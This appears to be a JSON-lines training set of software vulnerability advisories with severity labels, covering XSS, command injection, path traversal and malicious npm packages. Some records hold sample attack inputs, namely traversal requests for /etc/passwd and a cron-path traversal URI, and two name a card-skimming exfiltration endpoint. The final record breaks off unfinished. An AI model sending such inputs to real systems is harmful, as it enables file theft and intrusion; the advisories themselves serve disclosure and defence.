-{"id": "4211321d10458dada417", "text": "OS Command Injection in gulkp-styledocco\n\ngulp-styledocco through 0.0.3 allows execution of arbitrary commands. The argument `options` of the exports function in `index.js` can be controlled by users without any sanitization.", "text_raw": "OS Command Injection in gulkp-styledocco\n\n[Severity: CRITICAL]\n\ngulp-styledocco through 0.0.3 allows execution of arbitrary commands. The argument `options` of the exports function in `index.js` can be controlled by users without any sanitization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "98c8a016f9ee55a0f853", "text": "Parse Server crashes with query parameter\n\n### Impact\nParse Server crashes when if a query request contains an invalid value for the `explain` option. This is due to a bug in the MongoDB Node.js driver which throws an exception that Parse Server cannot catch.\n\n### Patches\nUpgrade to Parse Server 4.10.3", "text_raw": "Parse Server crashes with query parameter\n\n[Severity: HIGH]\n\n### Impact\nParse Server crashes when if a query request contains an invalid value for the `explain` option. This is due to a bug in the MongoDB Node.js driver which throws an exception that Parse Server cannot catch.\n\n### Patches\nUpgrade to Parse Server 4.10.3", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "9719dabe0ab0359970bb", "text": "Cross-site Scripting in kimai2\n\nCross site request forgery vulnerability is present in delete functionality of doctor feature. This vulnerability is capable of deleting system logs", "text_raw": "Cross-site Scripting in kimai2\n\n[Severity: MEDIUM]\n\nCross site request forgery vulnerability is present in delete functionality of doctor feature. This vulnerability is capable of deleting system logs", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "5b2e4770952542eccfb1", "text": "Use after free in heapless\n\nAn issue was discovered in the heapless crate before 0.6.1 for Rust. The IntoIter Clone implementation clones an entire underlying Vec without considering whether it has already been partially consumed.", "text_raw": "Use after free in heapless\n\n[Severity: HIGH]\n\nAn issue was discovered in the heapless crate before 0.6.1 for Rust. The IntoIter Clone implementation clones an entire underlying Vec without considering whether it has already been partially consumed.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "be74ab342c5894145514", "text": "Django denial-of-service possibility in urlize and urlizetrunc template filters\n\nAn issue was discovered in Django 2.0 before 2.0.3, 1.11 before 1.11.11, and 1.8 before 1.8.19. The `django.utils.html.urlize()` function was extremely slow to evaluate certain inputs due to catastrophic backtracking vulnerabilities in two regular expressions (only one regular expression for Django 1.8.x). The `urlize()` function is used to implement the urlize and urlizetrunc template filters, which were thus vulnerable.", "text_raw": "Django denial-of-service possibility in urlize and urlizetrunc template filters\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Django 2.0 before 2.0.3, 1.11 before 1.11.11, and 1.8 before 1.8.19. The `django.utils.html.urlize()` function was extremely slow to evaluate certain inputs due to catastrophic backtracking vulnerabilities in two regular expressions (only one regular expression for Django 1.8.x). The `urlize()` function is used to implement the urlize and urlizetrunc template filters, which were thus vulnerable.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "61e29af3751318f066ad", "text": "It's possible to execute anything with the rights of the author of a macro which uses the {{wikimacrocontent}} macro\n\n### Impact\n\nThe `{{wikimacrocontent}}` executes the content with the rights of the wiki macro author instead of the caller of that wiki macro. This makes possible to inject scripts through it and they will be executed with the rights of the wiki macro (very often a user which has Programming rights).\n\nFortunately, no such macro exists by default in XWiki Standard but one could have been created or installed with an extension.\n\n### Patches\n\nIt has been patched in versions XWiki 12.6.3, 11.10.11 and 12.8-rc-1.\n\n### Workarounds\n\nThere is no easy workaround other than disabling the affected macros.\nInserting content in a safe way or knowing what is the user who called the wiki macro is not easy.\n\n### References\n\nhttps://jira.xwiki.org/browse/XWIKI-17759\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](https://jira.xwiki.org)\n* Email us at [our security mailing list](mailto:security@xwiki.org)", "text_raw": "It's possible to execute anything with the rights of the author of a macro which uses the {{wikimacrocontent}} macro\n\n[Severity: LOW]\n\n### Impact\n\nThe `{{wikimacrocontent}}` executes the content with the rights of the wiki macro author instead of the caller of that wiki macro. This makes possible to inject scripts through it and they will be executed with the rights of the wiki macro (very often a user which has Programming rights).\n\nFortunately, no such macro exists by default in XWiki Standard but one could have been created or installed with an extension.\n\n### Patches\n\nIt has been patched in versions XWiki 12.6.3, 11.10.11 and 12.8-rc-1.\n\n### Workarounds\n\nThere is no easy workaround other than disabling the affected macros.\nInserting content in a safe way or knowing what is the user who called the wiki macro is not easy.\n\n### References\n\nhttps://jira.xwiki.org/browse/XWIKI-17759\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](https://jira.xwiki.org)\n* Email us at [our security mailing list](mailto:security@xwiki.org)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-03-23", "split": "train"}
-{"id": "e723259c8127b55c6ddc", "text": "Cross-site Scripting in bootstrap-table\n\nThis affects all versions of package bootstrap-table. A type confusion vulnerability can lead to a bypass of input sanitization when the input provided to the escapeHTML function is an array (instead of a string) even if the escape attribute is set.", "text_raw": "Cross-site Scripting in bootstrap-table\n\n[Severity: LOW]\n\nThis affects all versions of package bootstrap-table. A type confusion vulnerability can lead to a bypass of input sanitization when the input provided to the escapeHTML function is an array (instead of a string) even if the escape attribute is set.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "68d90df03c043a980199", "text": "Arbitrary filepath traversal via URI injection\n\nOctoRPKI does not escape a URI with a filename containing \"..\", this allows a repository to create a file, (ex.  `rsync://example.org/repo/../../etc/cron.daily/evil.roa`), which would then be written to disk outside the base cache folder. This could allow for remote code execution on the host machine OctoRPKI is running on.\n\n## Patches\n\n## For more information\nIf you have any questions or comments about this advisory email us at security@cloudflare.com", "text_raw": "Arbitrary filepath traversal via URI injection \n\n[Severity: HIGH]\n\nOctoRPKI does not escape a URI with a filename containing \"..\", this allows a repository to create a file, (ex.  `rsync://example.org/repo/../../etc/cron.daily/evil.roa`), which would then be written to disk outside the base cache folder. This could allow for remote code execution on the host machine OctoRPKI is running on. \n\n## Patches\n\n## For more information\nIf you have any questions or comments about this advisory email us at security@cloudflare.com\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "bf9b7951ed7cb7cb3296", "text": "Malicious Package in dossier\n\nVersion 0.0.4 of `dossier` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 0.0.4 of this module is found installed you will want to replace it with a version before or after 0.0.4. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in dossier\n\n[Severity: CRITICAL]\n\nVersion 0.0.4 of `dossier` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 0.0.4 of this module is found installed you will want to replace it with a version before or after 0.0.4. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "1d9f0fb55cbe1cb07e39", "text": "HTTP Smuggling via Transfer-Encoding Header in Puma\n\n### Impact\n\nBy using an invalid transfer-encoding header, an attacker could [smuggle an HTTP response.](https://portswigger.net/web-security/request-smuggling)\n\nOriginally reported by @ZeddYu, who has our thanks for the detailed report.\n\n### Patches\n\nThe problem has been fixed in Puma 3.12.5 and Puma 4.3.4.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Puma](https://github.com/puma/puma)\n* See our [security policy](https://github.com/puma/puma/security/policy)", "text_raw": "HTTP Smuggling via Transfer-Encoding Header in Puma\n\n[Severity: HIGH]\n\n### Impact\n\nBy using an invalid transfer-encoding header, an attacker could [smuggle an HTTP response.](https://portswigger.net/web-security/request-smuggling)\n\nOriginally reported by @ZeddYu, who has our thanks for the detailed report.\n\n### Patches\n\nThe problem has been fixed in Puma 3.12.5 and Puma 4.3.4.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Puma](https://github.com/puma/puma)\n* See our [security policy](https://github.com/puma/puma/security/policy)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-22", "split": "train"}
-{"id": "a609ff1ec71545b2409b", "text": "Observable Discrepancy in Apache Kafka\n\nSome components in Apache Kafka use `Arrays.equals` to validate a password or key, which is vulnerable to timing attacks that make brute force attacks for such credentials more likely to be successful. Users should upgrade to 2.8.1 or higher, or 3.0.0 or higher where this vulnerability has been fixed. The affected versions include Apache Kafka 2.0.0, 2.0.1, 2.1.0, 2.1.1, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.6.0, 2.6.1, 2.6.2, 2.7.0, 2.7.1, and 2.8.0.", "text_raw": "Observable Discrepancy in Apache Kafka\n\n[Severity: MEDIUM]\n\nSome components in Apache Kafka use `Arrays.equals` to validate a password or key, which is vulnerable to timing attacks that make brute force attacks for such credentials more likely to be successful. Users should upgrade to 2.8.1 or higher, or 3.0.0 or higher where this vulnerability has been fixed. The affected versions include Apache Kafka 2.0.0, 2.0.1, 2.1.0, 2.1.1, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.6.0, 2.6.1, 2.6.2, 2.7.0, 2.7.1, and 2.8.0.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-23", "split": "train"}
-{"id": "b10c232128c345d3f746", "text": "Malicious Package in ngx-pica\n\nVersion 1.1.5 of `ngx-pica` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.1.4", "text_raw": "Malicious Package in ngx-pica\n\n[Severity: CRITICAL]\n\nVersion 1.1.5 of `ngx-pica` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.1.4", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "292b5c889de7c9e804e3", "text": "Sensitive Data Exposure in ibm_db\n\nVersions of `ibm_db` prior to 2.6.0 are vulnerable to Sensitive Data Exposure. The package printed database credentials in plaintext in logs while in debug mode.\n\n## Recommendation\n\nUpgrade to version 2.6.0 or later and ensure sensitive information was not logged.", "text_raw": "Sensitive Data Exposure in ibm_db\n\n[Severity: MEDIUM]\n\nVersions of `ibm_db` prior to 2.6.0 are vulnerable to Sensitive Data Exposure. The package printed database credentials in plaintext in logs while in debug mode.\n\n\n## Recommendation\n\nUpgrade to version 2.6.0 or later and ensure sensitive information was not logged.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "1d2dcc1e7ecbe8a75c6b", "text": "Information Exposure in Netty\n\nNetty before 3.9.8.Final, 3.10.x before 3.10.3.Final, 4.0.x before 4.0.28.Final, and 4.1.x before 4.1.0.Beta5 and Play Framework 2.x before 2.3.9 might allow remote attackers to bypass the httpOnly flag on cookies and obtain sensitive information by leveraging improper validation of cookie name and value characters.", "text_raw": "Information Exposure in Netty\n\n[Severity: HIGH]\n\nNetty before 3.9.8.Final, 3.10.x before 3.10.3.Final, 4.0.x before 4.0.28.Final, and 4.1.x before 4.1.0.Beta5 and Play Framework 2.x before 2.3.9 might allow remote attackers to bypass the httpOnly flag on cookies and obtain sensitive information by leveraging improper validation of cookie name and value characters.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-30", "split": "train"}
-{"id": "32c73098fb8cc0e35065", "text": "Cross-Site Scripting Vulnerability in @joeattardi/emoji-button\n\n### Impact\n\nThere are two vectors for XSS attacks with versions of @joeattardi/emoji-button before 4.6.2:\n\n- A URL for a custom emoji\n- An i18n string\n\nIn both of these cases, a value can be crafted such that it can insert a `script` tag into the page and execute malicious code.\n\n### Patches\n\nThis vulnerability is fixed starting in version 4.6.2. This is resolved by properly escaping strings that are inserted into the HTML document.\n\n### Workarounds\n\nThere is no workaround other than upgrading to a non-vulnerable version.\n\n### Credit\n\nThis issue was discovered by GitHub team member [@erik-krogh (Erik Krogh Kristensen)](https://github.com/erik-krogh) and was reported by the GitHub Security Lab team.", "text_raw": "Cross-Site Scripting Vulnerability in @joeattardi/emoji-button\n\n[Severity: HIGH]\n\n### Impact\n\nThere are two vectors for XSS attacks with versions of @joeattardi/emoji-button before 4.6.2:\n\n- A URL for a custom emoji\n- An i18n string\n\nIn both of these cases, a value can be crafted such that it can insert a `script` tag into the page and execute malicious code.\n\n### Patches\n\nThis vulnerability is fixed starting in version 4.6.2. This is resolved by properly escaping strings that are inserted into the HTML document.\n\n### Workarounds\n\nThere is no workaround other than upgrading to a non-vulnerable version.\n\n### Credit\n\nThis issue was discovered by GitHub team member [@erik-krogh (Erik Krogh Kristensen)](https://github.com/erik-krogh) and was reported by the GitHub Security Lab team.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-01", "split": "train"}
-{"id": "0cf6a67ffc85f33bd709", "text": "SonicWall Email Security Improper Privilege Management Vulnerability\n\nAffected: SonicWall SonicWall Email Security\n\nSonicWall Email Security contains an improper privilege management vulnerability that allows an attacker to create an administrative account by sending a crafted HTTP request to the remote host. This vulnerability has known usage in a SonicWall Email Security exploit chain along with CVE-2021-20022 and CVE-2021-20023 to achieve privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-306\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SonicWall Email Security Improper Privilege Management Vulnerability\n\nAffected: SonicWall SonicWall Email Security\n\nSonicWall Email Security contains an improper privilege management vulnerability that allows an attacker to create an administrative account by sending a crafted HTTP request to the remote host. This vulnerability has known usage in a SonicWall Email Security exploit chain along with CVE-2021-20022 and CVE-2021-20023 to achieve privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-306\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "517764d61684b72749a5", "text": "Cross-Site Scripting in jqtree\n\nAffected versions of `jqtree` are vulnerable to cross-site scripting in the drag and drop functionality for modifying tree data.\n\nWhen a user attempts to drag a node to a different position in the hierarchy, script content existing within the node will be executed.\n\n## Recommendation\n\nUpdate to 1.3.4 or later.", "text_raw": "Cross-Site Scripting in jqtree\n\n[Severity: HIGH]\n\nAffected versions of `jqtree` are vulnerable to cross-site scripting in the drag and drop functionality for modifying tree data. \n\nWhen a user attempts to drag a node to a different position in the hierarchy, script content existing within the node will be executed.\n\n\n## Recommendation\n\nUpdate to 1.3.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "5693cbc0070f2c095adf", "text": "CORS Token Disclosure in crumb\n\nWhen CORS is enabled on a hapi route handler, it is possible to set a crumb token for a different domain. An attacker would need to have an application consumer visit a site they control, request a route supporting CORS, and then retrieve the token. With this token, they could possibly make requests to non CORS routes as this user.\n\nA configuration and scenario where this would occur is unlikely, as most configurations will set CORS globally (where crumb is not used), or not at all.\n\n## Recommendation\n\nUpdate to version 3.0.0 or greater.", "text_raw": "CORS Token Disclosure in crumb\n\n[Severity: MEDIUM]\n\nWhen CORS is enabled on a hapi route handler, it is possible to set a crumb token for a different domain. An attacker would need to have an application consumer visit a site they control, request a route supporting CORS, and then retrieve the token. With this token, they could possibly make requests to non CORS routes as this user.\n\nA configuration and scenario where this would occur is unlikely, as most configurations will set CORS globally (where crumb is not used), or not at all.\n\n\n## Recommendation\n\nUpdate to version 3.0.0 or greater.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "10f78ac0d8b7413f70ce", "text": "npm symlink reference outside of node_modules\n\nVersions of the npm CLI prior to 6.13.3 are vulnerable to a symlink reference outside of node_modules. It is possible for packages to create symlinks to files outside of the`node_modules` folder through the `bin` field upon installation. A properly constructed entry in the package.json bin field would allow a package publisher to create a symlink pointing to arbitrary files on a user’s system when the package is installed. Only files accessible by the user running the `npm install` are affected.\n\nThis behavior is still possible through install scripts. This vulnerability bypasses a user using the --ignore-scripts install option.\n\n## Recommendation\n\nUpgrade to version 6.13.3 or later.", "text_raw": "npm symlink reference outside of node_modules\n\n[Severity: HIGH]\n\nVersions of the npm CLI prior to 6.13.3 are vulnerable to a symlink reference outside of node_modules. It is possible for packages to create symlinks to files outside of the`node_modules` folder through the `bin` field upon installation. A properly constructed entry in the package.json bin field would allow a package publisher to create a symlink pointing to arbitrary files on a user’s system when the package is installed. Only files accessible by the user running the `npm install` are affected.  \n\nThis behavior is still possible through install scripts. This vulnerability bypasses a user using the --ignore-scripts install option.\n\n\n## Recommendation\n\nUpgrade to version 6.13.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-13", "split": "train"}
-{"id": "7f7864136f68f0bbd9e3", "text": "SmartCode ServerX VNC Server ActiveX 1.1.5.0 (scvncsrvx.dll) DoS Exploit", "text_raw": "SmartCode ServerX VNC Server ActiveX 1.1.5.0 (scvncsrvx.dll) DoS Exploit\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2010-08-13", "split": "train"}
-{"id": "553a82ea9c09015353c7", "text": "Exposure of Sensitive Information to an Unauthorized Actor in urllib3\n\nurllib3 before version 1.23 does not remove the Authorization HTTP header when following a cross-origin redirect (i.e., a redirect that differs in host, port, or scheme). This can allow for credentials in the Authorization header to be exposed to unintended hosts or transmitted in cleartext.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in urllib3\n\n[Severity: CRITICAL]\n\nurllib3 before version 1.23 does not remove the Authorization HTTP header when following a cross-origin redirect (i.e., a redirect that differs in host, port, or scheme). This can allow for credentials in the Authorization header to be exposed to unintended hosts or transmitted in cleartext.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-12-12", "split": "train"}
-{"id": "473ef8e6f02bde0bd52d", "text": "Path Traversal in Django\n\nDjango before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.", "text_raw": "Path Traversal in Django\n\n[Severity: MEDIUM]\n\nDjango before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-10", "split": "train"}
-{"id": "fdf029af9eb9dee7a5ae", "text": "Bleach vulnerable to mutation XSS via whitelisted math or svg and raw tag\n\n### Impact\n\nA [mutation XSS](https://cure53.de/fp170.pdf) affects users calling `bleach.clean` with all of:\n\n* the `svg` or `math` in the allowed/whitelisted tags\n* an RCDATA tag (see below) in the allowed/whitelisted tags\n* the keyword argument `strip=False`\n\n### Patches\n\nUsers are encouraged to upgrade to bleach v3.1.2 or greater.\n\n### Workarounds\n\n* modify `bleach.clean` calls to use `strip=True`, or not whitelist `math` or `svg` tags and one or more of the following tags:\n\n```\nscript\nnoscript\nstyle\nnoframes\nxmp\nnoembed\niframe\n```\n\n* A strong [Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) without `unsafe-inline` and `unsafe-eval` [`script-src`s](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src)) will also help mitigate the risk.\n\n### References\n\n* https://bugzilla.mozilla.org/show_bug.cgi?id=1621692\n* https://cure53.de/fp170.pdf\n* https://nvd.nist.gov/vuln/detail/CVE-2020-6816\n* https://www.checkmarx.com/blog/vulnerabilities-discovered-in-mozilla-bleach\n\n### Credits\n\n* Reported by [Yaniv Nizry](https://twitter.com/ynizry) from the CxSCA AppSec group at Checkmarx\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue at [https://github.com/mozilla/bleach/issues](https://github.com/mozilla/bleach/issues)\n* Email us at [security@mozilla.org](mailto:security@mozilla.org)", "text_raw": "Bleach vulnerable to mutation XSS via whitelisted math or svg and raw tag\n\n[Severity: MEDIUM]\n\n### Impact\n\nA [mutation XSS](https://cure53.de/fp170.pdf) affects users calling `bleach.clean` with all of:\n\n* the `svg` or `math` in the allowed/whitelisted tags\n* an RCDATA tag (see below) in the allowed/whitelisted tags\n* the keyword argument `strip=False`\n\n### Patches\n\nUsers are encouraged to upgrade to bleach v3.1.2 or greater.\n\n### Workarounds\n\n* modify `bleach.clean` calls to use `strip=True`, or not whitelist `math` or `svg` tags and one or more of the following tags:\n\n```\nscript\nnoscript\nstyle\nnoframes\nxmp\nnoembed\niframe\n```\n\n* A strong [Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) without `unsafe-inline` and `unsafe-eval` [`script-src`s](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src)) will also help mitigate the risk.\n\n### References\n\n* https://bugzilla.mozilla.org/show_bug.cgi?id=1621692\n* https://cure53.de/fp170.pdf\n* https://nvd.nist.gov/vuln/detail/CVE-2020-6816\n* https://www.checkmarx.com/blog/vulnerabilities-discovered-in-mozilla-bleach\n\n### Credits\n\n* Reported by [Yaniv Nizry](https://twitter.com/ynizry) from the CxSCA AppSec group at Checkmarx\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue at [https://github.com/mozilla/bleach/issues](https://github.com/mozilla/bleach/issues)\n* Email us at [security@mozilla.org](mailto:security@mozilla.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-03-24", "split": "train"}
-{"id": "0c9118f69a7628c6938c", "text": "Directory Traversal in dcserver\n\nAffected versions of `dcserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in dcserver\n\n[Severity: HIGH]\n\nAffected versions of `dcserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "59ffdc7766ef9503f273", "text": "Improperly Implemented path matching for in-toto-golang\n\n### Impact\nAuthenticated attackers posing as functionaries (i.e., within a trusted set of users for a layout) are able to create attestations that may bypass DISALLOW rules in the same layout. An attacker with access to trusted private keys, may issue an attestation that contains a disallowed artifact by including path traversal semantics (e.g., foo vs dir/../foo).\n\n### Patches\nThe problem has been fixed in version 0.3.0.\n\n### Workarounds\nExploiting this vulnerability is dependent on the specific policy applied.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [in-toto-golang](http://github.com/in-toto/in-toto-golang)\n* Email us at [in-toto-public](mailto:in-toto-public@googlegroups.com)\n* If this is a sensitive security-relevant disclosure, please send a PGP encrypted email to santiagotorres@purdue.edu or jcappos@nyu.edu", "text_raw": "Improperly Implemented path matching for in-toto-golang\n\n[Severity: MEDIUM]\n\n### Impact\nAuthenticated attackers posing as functionaries (i.e., within a trusted set of users for a layout) are able to create attestations that may bypass DISALLOW rules in the same layout. An attacker with access to trusted private keys, may issue an attestation that contains a disallowed artifact by including path traversal semantics (e.g., foo vs dir/../foo).\n\n### Patches\nThe problem has been fixed in version 0.3.0.\n\n### Workarounds\nExploiting this vulnerability is dependent on the specific policy applied.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [in-toto-golang](http://github.com/in-toto/in-toto-golang)\n* Email us at [in-toto-public](mailto:in-toto-public@googlegroups.com)\n* If this is a sensitive security-relevant disclosure, please send a PGP encrypted email to santiagotorres@purdue.edu or jcappos@nyu.edu\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-22", "split": "train"}
-{"id": "e448992917693fb91820", "text": "Downloads Resources over HTTP in co-cli-installer\n\nAffected versions of `co-cli-installer` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `co-cli-installer`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in co-cli-installer\n\n[Severity: HIGH]\n\nAffected versions of `co-cli-installer` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `co-cli-installer`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "aea17fb7a5a668cdee08", "text": "Improper input validation in Apache Shiro\n\nApache Shiro before 1.4.2, when using the default \"remember me\" configuration, cookies could be susceptible to a padding attack.", "text_raw": "Improper input validation in Apache Shiro\n\n[Severity: HIGH]\n\nApache Shiro before 1.4.2, when using the default \"remember me\" configuration, cookies could be susceptible to a padding attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-04", "split": "train"}
-{"id": "967a70e93da487d107ef", "text": "ATutor 2.0.2 Multiple Remote Vulnerabilities (SQLi/XSS/PD)", "text_raw": "ATutor 2.0.2 Multiple Remote Vulnerabilities (SQLi/XSS/PD)\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-08-06", "split": "train"}
-{"id": "6a91c599ef010a332f93", "text": "Directory Traversal in 360class.jansenhm\n\nAffected versions of `360class.jansenhm` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in 360class.jansenhm\n\n[Severity: HIGH]\n\nAffected versions of `360class.jansenhm` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "229cc49f2f2cf70fef31", "text": "Stored XSS in TimelineJS3\n\n### Impact\nTimelineJS renders some user data as HTML. An attacker could implement an XSS exploit with maliciously crafted content in a number of data fields. This risk is present whether the source data for the timeline is stored on Google Sheets or in a JSON configuration file.\n\nMost TimelineJS users configure their timeline with a Google Sheets document. Those users are exposed to this vulnerability if they grant write access to the document to a malicious inside attacker, if the access of a trusted user is compromised, or if they grant public write access to the document.\n\nSome TimelineJS users configure their timeline with a JSON document. Those users are exposed to this vulnerability if they grant write access to the document to a malicious inside attacker, if the access of a trusted user is compromised, or if write access to the system hosting that document is otherwise compromised.\n\n### Patches\nVersion 3.7.0 of TimelineJS addresses this in two ways.\n\n1. For content which is intended to support limited HTML markup for styling and linking, that content is \"sanitized\" before being added to the DOM.\n1. For content intended for simple text display, all markup is stripped.\n\nVery few users of TimelineJS actually install the TimelineJS code on their server. Most users publish a timeline using a URL hosted on systems we control. The fix for this issue is published to our system such that **those users will automatically begin using the new code**. The only exception would be users who have deliberately edited the embed URL to \"pin\" their timeline to an earlier version of the code.\n\nSome users of TimelineJS use it as a part of a [wordpress 